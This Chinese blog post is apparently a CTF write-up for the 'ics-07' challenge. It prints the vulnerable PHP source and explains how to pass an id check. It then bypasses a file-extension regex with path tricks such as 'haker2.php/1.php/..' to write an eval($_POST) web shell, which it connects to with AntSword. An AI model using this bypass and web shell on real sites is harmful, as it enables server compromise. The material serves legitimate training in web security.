NineOnee

导航

 

ics-07

知识点

floatval($id) 返回参数的浮点部分,并转化为浮点型。

substr($str,-1) 返回字符串的最后一个字母

select * from actors where id='1afd945' 相当于id=1

chdir('uploaded') 改变当前的目录,相当于cd



Linux的目录结构特性



思路

进入题目界面,直接审计源码

 <!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>cetc7</title>
  </head>
  <body>
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

  </body>
</html>

显然分为两个关卡,我们先构造?id=1a9 ,成功通过第一关,使得$_SESSION['admin']=True

进入第二关

审计发现,我们上传的文件会被存放在uploaded/backup/下,而这里又进行了过滤,一开始我看一眼,发现过滤了php的全部可用后缀,然后上传.htaccess文件,发现解析不了,也就行不通,,然后就看了wp

发现正则这里原来可以绕过preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename) 表示的是最后一个.后面不允许出现php,php3之类的。

构造file=haker2.php/1.php/..&con=<?php echo "success";eval($_POST[hacker]); ?>

表示的意思是在1.php的父目录即hacker2.php所在的这个目录创建hacker2.php这个文件。

也可构造

file=haker3.php/.&con=<?php echo "success";eval($_POST[hacker]); ?> 在hacker3.php当前目录下创建hacker3.php文件。

即可实现绕过。然后蚁剑连接,拿到flag

参考博客!https://blog.csdn.net/qq_45552960/article/details/102777514

posted on 2020-11-02 21:43  NineOne_E  阅读(114)  评论(0编辑  收藏  举报